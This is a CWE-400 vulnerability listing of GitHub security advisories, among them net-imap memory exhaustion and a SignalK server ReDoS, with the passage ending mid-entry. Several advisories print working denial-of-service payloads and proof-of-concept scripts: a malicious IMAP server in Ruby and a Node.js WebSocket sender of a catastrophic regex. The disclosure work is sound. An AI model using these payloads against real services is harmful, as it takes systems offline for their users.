CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5612 vulnerabilities reference this CWE, most recent first.
GHSA-7FC5-F82F-CX69
Vulnerability from github – Published: 2025-02-10 17:42 – Updated: 2025-04-30 20:43Summary
There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.
Details
IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.
The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.
Malicious inputs:
# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"
# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"
# Numbers must be non-zero uint32, but this isn't validated. Arrays larger than
# UINT32_MAX can be created. For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"
Simple way to test this:
require "net/imap"
def test(size)
input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
parser = Net::IMAP::ResponseParser.new
parser.parse input
end
test(99_999_999)
Fixes
Preferred Fix, minor API changes
Upgrade to v0.4.19, v0.5.6, or higher, and configure:
# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false
This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.
For v0.3.8, this option is not available.
For v0.4.19, the default value is true.
For v0.5.6, the default value is :up_to_max_size.
For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).
Mitigation, backward compatible API
Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.
For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.
Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size.
When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.
For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).
Please Note: unhandled responses
If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:
ruby
limit = 1000
imap.add_response_handler do |resp|
next unless resp.respond_to?(:name) && resp.respond_to?(:data)
name = resp.name
code = resp.data.code&.name if resp.data.respond_to?(:code)
if Net::IMAP::VERSION > "0.4.0"
imap.responses(name) { _1.slice!(0...-limit) }
imap.responses(code) { _1.slice!(0...-limit) }
else
imap.responses(name).slice!(0...-limit)
imap.responses(code).slice!(0...-limit)
end
end
Proof of concept
Save the following to a ruby file (e.g: poc.rb) and make it executable:
#!/usr/bin/env ruby
require 'socket'
require 'net/imap'
if !defined?(Net::IMAP.config)
puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end
size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)
def server_addr
Addrinfo.tcp("localhost", 0).ip_address
end
def create_tcp_server
TCPServer.new(server_addr, 0)
end
def start_server
th = Thread.new do
yield
end
sleep 0.1 until th.stop?
end
def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end
def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end
server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"
# server
start_server do
sock = server.accept
begin
sock.print "* OK test server\r\n"
cmd = sock.gets("\r\n", chomp: true)
tag = cmd.match(/\A(\w+) /)[1]
puts "Received: #{cmd}"
malicious_response = appenduid_response(size:)
puts "Sending: #{malicious_response.chomp}"
sock.print malicious_response
malicious_response = copyuid_response(size:)
puts "Sending: #{malicious_response.chomp}"
sock.print malicious_response
sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
sock.print "#{tag} OK CAPABILITY completed\r\n"
cmd = sock.gets("\r\n", chomp: true)
tag = cmd.match(/\A(\w+) /)[1]
puts "Received: #{cmd}"
sock.print "* BYE If you made it this far, you passed the test!\r\n"
sock.print "#{tag} OK LOGOUT completed\r\n"
rescue Exception => ex
puts "Error in server: #{ex.message} (#{ex.class})"
ensure
sock.close
server.close
end
end
# client
begin
puts "Client connecting,.."
imap = Net::IMAP.new(server_addr, port: port)
puts "Received capabilities: #{imap.capability}"
pp responses: imap.responses
imap.logout
rescue Exception => ex
puts "Error in client: #{ex.message} (#{ex.class})"
puts ex.full_message
ensure
imap.disconnect if imap
end
Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:
$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
from /workspace/poc.rb:70:in '<main>'
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.2"
},
{
"fixed": "0.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.4.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.5.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-25186"
],
"database_specific": {
"cwe_ids": [
"CWE-1287",
"CWE-400",
"CWE-405",
"CWE-409",
"CWE-770",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-10T17:42:43Z",
"nvd_published_at": "2025-02-10T16:15:39Z",
"severity": "MODERATE"
},
"details": "### Summary\nThere is a possibility for denial of service by memory exhaustion in `net-imap`\u0027s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client\u0027s receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.\n\n### Details\nIMAP\u0027s `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `\"1,2,3,4,5\"` and `\"1:5\"` both represent the same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.\n\nThe `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.\n\nMalicious inputs:\n\n```ruby\n# 40 bytes expands to ~1.6GB:\n\"* OK [COPYUID 1 1:99999999 1:99999999]\\r\\n\"\n\n# Worst *valid* input scenario (using uint32 max),\n# 44 bytes expands to 64GiB:\n\"* OK [COPYUID 1 1:4294967295 1:4294967295]\\r\\n\"\n\n# Numbers must be non-zero uint32, but this isn\u0027t validated. Arrays larger than\n# UINT32_MAX can be created. For example, the following would theoretically\n# expand to almost 800 exabytes:\n\"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\\r\\n\"\n```\n\nSimple way to test this:\n```ruby\nrequire \"net/imap\"\n\ndef test(size)\n input = \"A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\\r\\n\"\n parser = Net::IMAP::ResponseParser.new\n parser.parse input\nend\n\ntest(99_999_999)\n```\n\n### Fixes\n\n#### Preferred Fix, minor API changes\nUpgrade to v0.4.19, v0.5.6, or higher, and configure:\n```ruby\n# globally\nNet::IMAP.config.parser_use_deprecated_uidplus_data = false\n# per-client\nimap = Net::IMAP.new(hostname, ssl: true,\n parser_use_deprecated_uidplus_data: false)\nimap.config.parser_use_deprecated_uidplus_data = false\n```\n\nThis replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`. These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers). Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference. Code that does handle these responses _may_ need to be updated. See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).\n\nFor v0.3.8, this option is not available.\nFor v0.4.19, the default value is `true`.\nFor v0.5.6, the default value is `:up_to_max_size`.\nFor v0.6.0, the only allowed value will be `false` _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Mitigation, backward compatible API\nUpgrade to v0.3.8, v0.4.19, v0.5.6, or higher.\n\nFor backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.\n\nAssign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.\nWhen `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.\nWhen `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.\n\nFor v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.\nFor v0.4.19, the limit defaults to 1000.\nFor v0.5.6, the limit defaults to 100.\nFor v0.6.0, the limit will be ignored _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Please Note: unhandled responses\nIf the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. _This is not significantly different from connecting to a trusted server with a long-lived connection._ To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n ```ruby\n limit = 1000\n imap.add_response_handler do |resp|\n next unless resp.respond_to?(:name) \u0026\u0026 resp.respond_to?(:data)\n name = resp.name\n code = resp.data.code\u0026.name if resp.data.respond_to?(:code)\n if Net::IMAP::VERSION \u003e \"0.4.0\"\n imap.responses(name) { _1.slice!(0...-limit) }\n imap.responses(code) { _1.slice!(0...-limit) }\n else\n imap.responses(name).slice!(0...-limit)\n imap.responses(code).slice!(0...-limit)\n end\n end\n ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!/usr/bin/env ruby\nrequire \u0027socket\u0027\nrequire \u0027net/imap\u0027\n\nif !defined?(Net::IMAP.config)\n puts \"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n th = Thread.new do\n yield\n end\n sleep 0.1 until th.stop?\nend\n\ndef copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n sock = server.accept\n begin\n sock.print \"* OK test server\\r\\n\"\n cmd = sock.gets(\"\\r\\n\", chomp: true)\n tag = cmd.match(/\\A(\\w+) /)[1]\n puts \"Received: #{cmd}\"\n\n malicious_response = appenduid_response(size:)\n puts \"Sending: #{malicious_response.chomp}\"\n sock.print malicious_response\n\n malicious_response = copyuid_response(size:)\n puts \"Sending: #{malicious_response.chomp}\"\n sock.print malicious_response\n sock.print \"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n cmd = sock.gets(\"\\r\\n\", chomp: true)\n tag = cmd.match(/\\A(\\w+) /)[1]\n puts \"Received: #{cmd}\"\n sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n rescue Exception =\u003e ex\n puts \"Error in server: #{ex.message} (#{ex.class})\"\n ensure\n sock.close\n server.close\n end\nend\n\n# client\nbegin\n puts \"Client connecting,..\"\n imap = Net::IMAP.new(server_addr, port: port)\n puts \"Received capabilities: #{imap.capability}\"\n pp responses: imap.responses\n imap.logout\nrescue Exception =\u003e ex\n puts \"Error in client: #{ex.message} (#{ex.class})\"\n puts ex.full_message\nensure\n imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process\u0027s virtual memory. The following example limits virtual memory to 1GB:\n```console\n$ ( ulimit -v 1000000 \u0026\u0026 exec ./poc.rb )\nServer started on port 34291\nClient connecting,..\nReceived: RUBY0001 CAPABILITY\nSending: * OK [APPENDUID 1 1:4294967295] too large?\nSending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?\nError in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)\nError in client: failed to allocate memory (NoMemoryError)\n/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in \u0027Net::IMAP#get_tagged_response\u0027: failed to allocate memory (NoMemoryError)\n from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in \u0027block in Net::IMAP#send_command\u0027\n from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in \u0027Net::IMAP#send_command\u0027\n from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in \u0027block in Net::IMAP#capability\u0027\n from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in \u0027Net::IMAP#capability\u0027\n from /workspace/poc.rb:70:in \u0027\u003cmain\u003e\u0027\n```",
"id": "GHSA-7fc5-f82f-cx69",
"modified": "2025-04-30T20:43:04Z",
"published": "2025-02-10T17:42:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25186"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-25186.yml"
},
{
"type": "WEB",
"url": "https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html"
},
{
"type": "WEB",
"url": "https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html"
},
{
"type": "WEB",
"url": "https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Possible DoS by memory exhaustion in net-imap"
}
GHSA-7FQC-4XQ7-GHG5
Vulnerability from github – Published: 2025-04-08 18:34 – Updated: 2025-04-08 18:34Uncontrolled resource consumption in Windows Standards-Based Storage Management Service allows an unauthorized attacker to deny service over a network.
{
"affected": [],
"aliases": [
"CVE-2025-21174"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-08T18:15:44Z",
"severity": "HIGH"
},
"details": "Uncontrolled resource consumption in Windows Standards-Based Storage Management Service allows an unauthorized attacker to deny service over a network.",
"id": "GHSA-7fqc-4xq7-ghg5",
"modified": "2025-04-08T18:34:44Z",
"published": "2025-04-08T18:34:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21174"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21174"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7FXX-2Q9X-8WQF
Vulnerability from github – Published: 2026-04-22 03:31 – Updated: 2026-04-22 03:31Tanium addressed an uncontrolled resource consumption vulnerability in Interact.
{
"affected": [],
"aliases": [
"CVE-2026-6416"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-22T03:16:01Z",
"severity": "LOW"
},
"details": "Tanium addressed an uncontrolled resource consumption vulnerability in Interact.",
"id": "GHSA-7fxx-2q9x-8wqf",
"modified": "2026-04-22T03:31:36Z",
"published": "2026-04-22T03:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6416"
},
{
"type": "WEB",
"url": "https://security.tanium.com/TAN-2026-010"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7G3F-6R3Q-3QMQ
Vulnerability from github – Published: 2022-12-25 00:30 – Updated: 2022-12-31 00:30Brave Browser before 1.43.34 allowed a remote attacker to cause a denial of service via a crafted HTML file that mentions an ipfs:// or ipns:// URL. This vulnerability is caused by an incomplete fix for CVE-2022-47933.
{
"affected": [],
"aliases": [
"CVE-2022-47932"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-24T22:15:00Z",
"severity": "MODERATE"
},
"details": "Brave Browser before 1.43.34 allowed a remote attacker to cause a denial of service via a crafted HTML file that mentions an ipfs:// or ipns:// URL. This vulnerability is caused by an incomplete fix for CVE-2022-47933.",
"id": "GHSA-7g3f-6r3q-3qmq",
"modified": "2022-12-31T00:30:23Z",
"published": "2022-12-25T00:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47932"
},
{
"type": "WEB",
"url": "https://github.com/brave/brave-browser/issues/24093"
},
{
"type": "WEB",
"url": "https://github.com/brave/brave-core/pull/14211"
},
{
"type": "WEB",
"url": "https://github.com/brave/brave-core/commit/e73309665508c17e48a67e302d3ab02a38d3ef50"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1636430"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7GCJ-PHFF-2884
Vulnerability from github – Published: 2026-04-21 17:17 – Updated: 2026-04-21 17:17Summary
The SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the context parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.
Description
The vulnerability stems from flawed string-to-regex conversion in signalk-server/src/subscriptionmanager.ts. The contextMatcher() and pathMatcher() functions convert wildcard strings (e.g., *) into regular expressions to match incoming data against client subscriptions.
While the code attempts to escape . and * characters, it fails to escape other dangerous regular expression metacharacters—such as +, (, ), ?, [, and ]. Because of this, an attacker can submit a crafted context that contains nested quantifiers (e.g., ([a-z0-9:-]+)+!). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like vessels.urn:mrn:signalk:uuid:d384dc156010), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.
Affected Code Blocks & Files
File: signalk-server/src/subscriptionmanager.ts
Affected lines for Context subscriptions (282-300):
function contextMatcher(...) {
if (subscribeCommand.context) {
if (isString(subscribeCommand.context)) {
const pattern = subscribeCommand.context
.replace(/\./g, '\\.')
.replace(/\*/g, '.*')
const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: User input compiled into regex directly
return (normalizedDeltaData: WithContext) =>
matcher.test(normalizedDeltaData.context) ||
Affected lines for Path subscriptions (276-280):
function pathMatcher(path: string = '*') {
const pattern = path.replace(/\./g, '\\.').replace(/\*/g, '.*')
const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: Same issue here
return (aPath: string) => matcher.test(aPath)
}
Proof of Concept (PoC) Steps
const WebSocket = require('ws');
const http = require('http');
const HOST = 'localhost';
const PORT = 3000;
const WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;
// Use the API endpoint to measure real server processing lag (requires JSON serialization)
const HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;
console.log(`[+] Target Server API: ${HTTP_URL}`);
console.log(`[+] Target WebSocket: ${WS_URL}`);
let requestCount = 0;
// Polling function to check server responsiveness and compute delay
function checkServerStatus() {
const startTime = Date.now();
requestCount++;
const reqId = requestCount;
const req = http.get(HTTP_URL, (res) => {
let size = 0;
res.on('data', chunk => { size += chunk.length; });
res.on('end', () => {
const latency = Date.now() - startTime;
console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)`);
});
});
req.on('error', (err) => {
console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`);
});
// Timeout if the event loop is blocked
req.setTimeout(2000, () => {
console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.`);
req.destroy();
});
}
// Start polling every 1 second
console.log('[+] Starting baseline HTTP polling...');
const pollInterval = setInterval(checkServerStatus, 1000);
// Wait a few seconds to establish a baseline, then launch the ReDoS
setTimeout(() => {
console.log(`\n[!] Initiating WebSocket connection to launch ReDoS attack...`);
const ws = new WebSocket(WS_URL);
ws.on('open', () => {
console.log('[+] WebSocket Connected! Sending catastrophic ReDoS payload...');
// This regex exploits the unescaped Regex metacharacters in context matcher.
// It forms: `^vessels\.([a-z0-9:-]+)+!$`
// When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+ characters),
// the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations
// because it fails to find the '!' at the end. This reliably freezes V8.
const pocPayload = {
context: "vessels.([a-z0-9:-]+)+!",
announceNewPaths: true,
subscribe: [{ path: "*" }]
};
ws.send(JSON.stringify(pocPayload));
console.log('[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\n');
});
ws.on('error', (err) => {
console.error(`[-] WebSocket Error: ${err.message}`);
});
}, 3500);
// Automatically shut down the test after 15 seconds
setTimeout(() => {
console.log(`\n[+] Test complete. Stopping pollers.`);
clearInterval(pollInterval);
process.exit(0);
}, 15000);
Impact
This vulnerability achieves a complete Denial of Service (DoS) against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.25.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39320"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T17:17:00Z",
"nvd_published_at": "2026-04-21T01:16:05Z",
"severity": "HIGH"
},
"details": "## Summary\nThe SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server\u0027s Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server\u0027s self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.\n\n## Description\nThe vulnerability stems from flawed string-to-regex conversion in `signalk-server/src/subscriptionmanager.ts`. The `contextMatcher()` and `pathMatcher()` functions convert wildcard strings (e.g., `*`) into regular expressions to match incoming data against client subscriptions.\n\nWhile the code attempts to escape `.` and `*` characters, it fails to escape other dangerous regular expression metacharacters\u2014such as `+`, `(`, `)`, `?`, `[`, and `]`. Because of this, an attacker can submit a crafted `context` that contains nested quantifiers (e.g., `([a-z0-9:-]+)+!`). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like `vessels.urn:mrn:signalk:uuid:d384dc156010`), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.\n\n## Affected Code Blocks \u0026 Files\n**File:** `signalk-server/src/subscriptionmanager.ts`\n\n**Affected lines for Context subscriptions (282-300):**\n```typescript\nfunction contextMatcher(...) {\n if (subscribeCommand.context) {\n if (isString(subscribeCommand.context)) {\n const pattern = subscribeCommand.context\n .replace(/\\./g, \u0027\\\\.\u0027)\n .replace(/\\*/g, \u0027.*\u0027)\n const matcher = new RegExp(\u0027^\u0027 + pattern + \u0027$\u0027) // VULNERABILITY: User input compiled into regex directly\n return (normalizedDeltaData: WithContext) =\u003e\n matcher.test(normalizedDeltaData.context) ||\n```\n\n**Affected lines for Path subscriptions (276-280):**\n```typescript\nfunction pathMatcher(path: string = \u0027*\u0027) {\n const pattern = path.replace(/\\./g, \u0027\\\\.\u0027).replace(/\\*/g, \u0027.*\u0027)\n const matcher = new RegExp(\u0027^\u0027 + pattern + \u0027$\u0027) // VULNERABILITY: Same issue here\n return (aPath: string) =\u003e matcher.test(aPath)\n}\n```\n\n## Proof of Concept (PoC) Steps\n\n```\nconst WebSocket = require(\u0027ws\u0027);\nconst http = require(\u0027http\u0027);\n\nconst HOST = \u0027localhost\u0027;\nconst PORT = 3000;\nconst WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;\n// Use the API endpoint to measure real server processing lag (requires JSON serialization)\nconst HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;\n\nconsole.log(`[+] Target Server API: ${HTTP_URL}`);\nconsole.log(`[+] Target WebSocket: ${WS_URL}`);\n\nlet requestCount = 0;\n\n// Polling function to check server responsiveness and compute delay\nfunction checkServerStatus() {\n const startTime = Date.now();\n requestCount++;\n const reqId = requestCount;\n \n const req = http.get(HTTP_URL, (res) =\u003e {\n let size = 0;\n 